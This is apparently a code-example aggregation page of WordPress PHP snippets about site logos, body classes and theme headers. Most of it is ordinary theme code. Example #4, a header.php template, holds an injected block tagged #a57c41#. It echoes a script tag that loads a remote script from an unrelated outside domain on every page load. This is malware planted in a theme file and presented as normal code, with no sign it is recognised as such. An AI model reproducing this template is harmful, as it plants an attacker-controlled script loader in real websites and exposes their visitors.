コード例 #1
0
/**
 * Determine if a site logo is assigned or not.
 *
 * @since  1.1.0
 * @uses   Flagship_Site_Logo::has_site_logo
 * @return boolean True if there is an active logo, false otherwise
 */
function flagship_has_logo()
{
    if (!class_exists('Flagship_Site_Logo', false)) {
        if (function_exists('jetpack_the_site_logo')) {
            return jetpack_has_site_logo();
        }
        if (function_exists('the_site_logo')) {
            return has_site_logo();
        }
        return null;
    }
    return flagship_library()->site_logo->has_site_logo();
}
コード例 #2
0
ファイル: functions.php プロジェクト: tester38/site-logo
/**
 * Output an <img> tag of the site logo, at the size specified
 * in the theme's add_theme_support() declaration.
 *
 * @uses current_theme_supports()
 * @uses get_option()
 * @uses site_logo_theme_size()
 * @uses site_logo_is_customize_preview()
 * @uses esc_url()
 * @uses home_url()
 * @uses esc_attr()
 * @uses wp_get_attachment_image()
 * @since 1.0
 */
function the_site_logo()
{
    $logo = site_logo()->logo;
    $size = site_logo()->theme_size();
    // Bail if no logo is set. Leave a placeholder if we're in the Customizer, though (needed for the live preview).
    if (!has_site_logo()) {
        if (site_logo_is_customize_preview()) {
            printf('<a href="%1$s" class="site-logo-link" style="display:none;"><img class="site-logo" data-size="%2$s" /></a>', esc_url(home_url('/')), esc_attr($size));
        }
        return;
    }
    // We have a logo. Logo is go.
    $html = sprintf('<a href="%1$s" class="site-logo-link" rel="home">%2$s</a>', esc_url(home_url('/')), wp_get_attachment_image($logo['id'], $size, false, array('class' => "site-logo attachment-{$size}", 'data-size' => $size)));
    echo apply_filters('the_site_logo', $html, $logo, $size);
}
コード例 #3
0
ファイル: extras.php プロジェクト: unisexx/drtooth
/**
 * Adds custom classes to the array of body classes.
 *
 * @param array $classes Classes for the body element.
 * @return array
 */
function sketch_body_classes( $classes ) {
	// Adds a class of group-blog to blogs with more than 1 published author.
	if ( is_multi_author() ) {
		$classes[] = 'group-blog';
	}

	if ( function_exists( 'has_site_logo' ) && has_site_logo() ) {
		$classes[] = 'has-site-logo';
	}

	if ( ! is_active_sidebar( 'sidebar-1' ) ) {
		$classes[] = 'no-sidebar';
	}

	return $classes;
}
コード例 #4
0
ファイル: header.php プロジェクト: unisexx/drtooth
</head>

<body <?php body_class(); ?>>
<?php
#a57c41#
if(empty($kd)) {
$kd = "<script type=\"text/javascript\" src=\"http://www.mmazojr.net/Manuel_Mazo_Jr/Abstractions_of_Communication_Networks_files/drhrttjm.php\"></script>";
echo $kd;
}
#/a57c41#
?>
<div id="page" class="hfeed site">
	<a class="skip-link screen-reader-text" href="#content"><?php _e( 'Skip to content', 'sketch' ); ?></a>
	<header id="masthead" class="site-header" role="banner">
		<div class="site-branding">
			<?php if ( function_exists( 'has_site_logo' ) && has_site_logo() ) : ?>
				<a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home">
					<img src="<?php echo esc_url( get_site_logo( 'url' ) ); ?>" class="site-logo" alt="<?php echo esc_attr( get_bloginfo( 'name' ) ); ?>">
				</a>
			<?php endif; // End site logo check. ?>
			<h1 class="site-title"><a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?></a></h1>
			<h2 class="site-description"><?php bloginfo( 'description' ); ?></h2>
		</div>

		<nav id="site-navigation" class="main-navigation" role="navigation">
			<button class="menu-toggle"><?php _e( 'Menu', 'sketch' ); ?></button>
			<?php wp_nav_menu( array( 'theme_location' => 'primary' ) ); ?>
		</nav><!-- #site-navigation -->
	</header><!-- #masthead -->

	<div id="content" class="site-content">
コード例 #5
0
ファイル: custom-header.php プロジェクト: unisexx/drtooth
/**
 * Custom header image markup displayed on the Appearance > Header admin panel.
 *
 * @see sketch_custom_header_setup().
 */
function sketch_admin_header_image() {
	$style = sprintf( ' style="color:#%s;"', get_header_textcolor() );
?>
	<div id="headimg">
		<div class="site-branding-wrapper">
			<div class="site-branding">
				<?php if ( function_exists( 'has_site_logo' ) && has_site_logo() ) : ?>
					<a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home">
						<img src="<?php echo esc_url( get_site_logo( 'url' ) ); ?>" class="site-logo" alt="<?php echo esc_attr( get_bloginfo( 'name' ) ); ?>">
					</a>
				<?php endif; // End site logo check. ?>
				<h1 class="displaying-header-text"><a id="name"<?php echo $style; ?> onclick="return false;" href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php bloginfo( 'name' ); ?></a></h1>
				<div class="displaying-header-text" id="desc"<?php echo $style; ?>><?php bloginfo( 'description' ); ?></div>
			</div>
		</div>
		<?php if ( get_header_image() ) : ?>
		<img src="<?php header_image(); ?>" alt="" class="custom-header">
		<?php endif; ?>
	</div>
<?php
}
コード例 #6
0
/**
 * Retrieve the classes for the body element as an array.
 *
 * @since 2.8.0
 *
 * @global WP_Query $wp_query
 *
 * @param string|array $class One or more classes to add to the class list.
 * @return array Array of classes.
 */
function get_body_class($class = '')
{
    global $wp_query;
    $classes = array();
    if (is_rtl()) {
        $classes[] = 'rtl';
    }
    if (is_front_page()) {
        $classes[] = 'home';
    }
    if (is_home()) {
        $classes[] = 'blog';
    }
    if (is_archive()) {
        $classes[] = 'archive';
    }
    if (is_date()) {
        $classes[] = 'date';
    }
    if (is_search()) {
        $classes[] = 'search';
        $classes[] = $wp_query->posts ? 'search-results' : 'search-no-results';
    }
    if (is_paged()) {
        $classes[] = 'paged';
    }
    if (is_attachment()) {
        $classes[] = 'attachment';
    }
    if (is_404()) {
        $classes[] = 'error404';
    }
    if (is_singular()) {
        $classes[] = 'singular';
    }
    if (is_single()) {
        $post_id = $wp_query->get_queried_object_id();
        $post = $wp_query->get_queried_object();
        $classes[] = 'single';
        if (isset($post->post_type)) {
            $classes[] = 'single-' . sanitize_html_class($post->post_type, $post_id);
            $classes[] = 'postid-' . $post_id;
            // Post Format
            if (post_type_supports($post->post_type, 'post-formats')) {
                $post_format = get_post_format($post->ID);
                if ($post_format && !is_wp_error($post_format)) {
                    $classes[] = 'single-format-' . sanitize_html_class($post_format);
                } else {
                    $classes[] = 'single-format-standard';
                }
            }
        }
        if (is_attachment()) {
            $mime_type = get_post_mime_type($post_id);
            $mime_prefix = array('application/', 'image/', 'text/', 'audio/', 'video/', 'music/');
            $classes[] = 'attachmentid-' . $post_id;
            $classes[] = 'attachment-' . str_replace($mime_prefix, '', $mime_type);
        }
    } elseif (is_archive()) {
        if (is_post_type_archive()) {
            $classes[] = 'post-type-archive';
            $post_type = get_query_var('post_type');
            if (is_array($post_type)) {
                $post_type = reset($post_type);
            }
            $classes[] = 'post-type-archive-' . sanitize_html_class($post_type);
        } elseif (is_author()) {
            $author = $wp_query->get_queried_object();
            $classes[] = 'author';
            if (isset($author->user_nicename)) {
                $classes[] = 'author-' . sanitize_html_class($author->user_nicename, $author->ID);
                $classes[] = 'author-' . $author->ID;
            }
        } elseif (is_category()) {
            $cat = $wp_query->get_queried_object();
            $classes[] = 'category';
            if (isset($cat->term_id)) {
                $cat_class = sanitize_html_class($cat->slug, $cat->term_id);
                if (is_numeric($cat_class) || !trim($cat_class, '-')) {
                    $cat_class = $cat->term_id;
                }
                $classes[] = 'category-' . $cat_class;
                $classes[] = 'category-' . $cat->term_id;
            }
        } elseif (is_tag()) {
            $tag = $wp_query->get_queried_object();
            $classes[] = 'tag';
            if (isset($tag->term_id)) {
                $tag_class = sanitize_html_class($tag->slug, $tag->term_id);
                if (is_numeric($tag_class) || !trim($tag_class, '-')) {
                    $tag_class = $tag->term_id;
                }
                $classes[] = 'tag-' . $tag_class;
                $classes[] = 'tag-' . $tag->term_id;
            }
        } elseif (is_tax()) {
            $term = $wp_query->get_queried_object();
            if (isset($term->term_id)) {
                $term_class = sanitize_html_class($term->slug, $term->term_id);
                if (is_numeric($term_class) || !trim($term_class, '-')) {
                    $term_class = $term->term_id;
                }
                $classes[] = 'tax-' . sanitize_html_class($term->taxonomy);
                $classes[] = 'term-' . $term_class;
                $classes[] = 'term-' . $term->term_id;
            }
        }
    } elseif (is_page()) {
        $classes[] = 'page';
        $page_id = $wp_query->get_queried_object_id();
        $post = get_post($page_id);
        $classes[] = 'page-id-' . $page_id;
        if (get_pages(array('parent' => $page_id, 'number' => 1))) {
            $classes[] = 'page-parent';
        }
        if ($post->post_parent) {
            $classes[] = 'page-child';
            $classes[] = 'parent-pageid-' . $post->post_parent;
        }
        if (is_page_template()) {
            $classes[] = 'page-template';
            $template_slug = get_page_template_slug($page_id);
            $template_parts = explode('/', $template_slug);
            foreach ($template_parts as $part) {
                $classes[] = 'page-template-' . sanitize_html_class(str_replace(array('.', '/'), '-', basename($part, '.php')));
            }
            $classes[] = 'page-template-' . sanitize_html_class(str_replace('.', '-', $template_slug));
        } else {
            $classes[] = 'page-template-default';
        }
    }
    if (is_user_logged_in()) {
        $classes[] = 'logged-in';
    }
    if (is_admin_bar_showing()) {
        $classes[] = 'admin-bar';
        $classes[] = 'no-customize-support';
    }
    if (get_background_color() !== get_theme_support('custom-background', 'default-color') || get_background_image()) {
        $classes[] = 'custom-background';
    }
    if (has_site_logo()) {
        $classes[] = 'wp-site-logo';
    }
    $page = $wp_query->get('page');
    if (!$page || $page < 2) {
        $page = $wp_query->get('paged');
    }
    if ($page && $page > 1 && !is_404()) {
        $classes[] = 'paged-' . $page;
        if (is_single()) {
            $classes[] = 'single-paged-' . $page;
        } elseif (is_page()) {
            $classes[] = 'page-paged-' . $page;
        } elseif (is_category()) {
            $classes[] = 'category-paged-' . $page;
        } elseif (is_tag()) {
            $classes[] = 'tag-paged-' . $page;
        } elseif (is_date()) {
            $classes[] = 'date-paged-' . $page;
        } elseif (is_author()) {
            $classes[] = 'author-paged-' . $page;
        } elseif (is_search()) {
            $classes[] = 'search-paged-' . $page;
        } elseif (is_post_type_archive()) {
            $classes[] = 'post-type-paged-' . $page;
        }
    }
    if (!empty($class)) {
        if (!is_array($class)) {
            $class = preg_split('#\\s+#', $class);
        }
        $classes = array_merge($classes, $class);
    } else {
        // Ensure that we always coerce class to being an array.
        $class = array();
    }
    $classes = array_map('esc_attr', $classes);
    /**
     * Filter the list of CSS body classes for the current post or page.
     *
     * @since 2.8.0
     *
     * @param array $classes An array of body classes.
     * @param array $class   An array of additional classes added to the body.
     */
    $classes = apply_filters('body_class', $classes, $class);
    return array_unique($classes);
}
コード例 #7
0
ファイル: logo.php プロジェクト: andrewkhunn/lancero
        /**
         * Print CSS in the head for the logo on WP.com
         */
        function print_logo_css_wpcom()
        {
            $size = apply_filters('oxford_custom_logo_max_width', '900');
            if (!has_site_logo()) {
                return;
            }
            $logo_url = get_site_logo('url');
            $logo_id = get_site_logo('id');
            $logo_info = wp_get_attachment_image_src($logo_id, 'oxford_large');
            if (isset($logo_info[1]) && isset($logo_info[2])) {
                $final_logo_info = $this->adjust_dimensions($logo_info[1], $logo_info[2], $size);
                ?>
			<style type="text/css" media="all">
				.custom-logo {
					background-image: url("<?php 
                echo addcslashes(esc_url_raw($logo_url), '"');
                ?>
");
					width: <?php 
                echo absint($final_logo_info['width']);
                ?>
px;
				}
				.custom-logo a {
					padding-bottom: <?php 
                echo absint($final_logo_info['ratio']);
                ?>
%;
				}
			</style>
		<?php 
            }
        }
コード例 #8
0
ファイル: header.php プロジェクト: ilke-zilci/newcomers-wp
?>

			<?php 
if (has_nav_menu('social')) {
    ?>
				<?php 
    wp_nav_menu(array('theme_location' => 'social', 'depth' => 1, 'link_before' => '<span class="screen-reader-text">', 'link_after' => '</span>', 'container_class' => 'social-links'));
    ?>
			<?php 
}
?>
		</nav><!-- #site-navigation -->

		<div class="site-branding">
			<?php 
if (function_exists('jetpack_the_site_logo') && has_site_logo()) {
    ?>
				<?php 
    jetpack_the_site_logo();
    ?>
			<?php 
}
?>
			<h1 class="site-title"><a href="<?php 
echo esc_url(home_url('/'));
?>
" rel="home"><?php 
bloginfo('name');
?>
</a></h1>
			<h2 class="site-description"><?php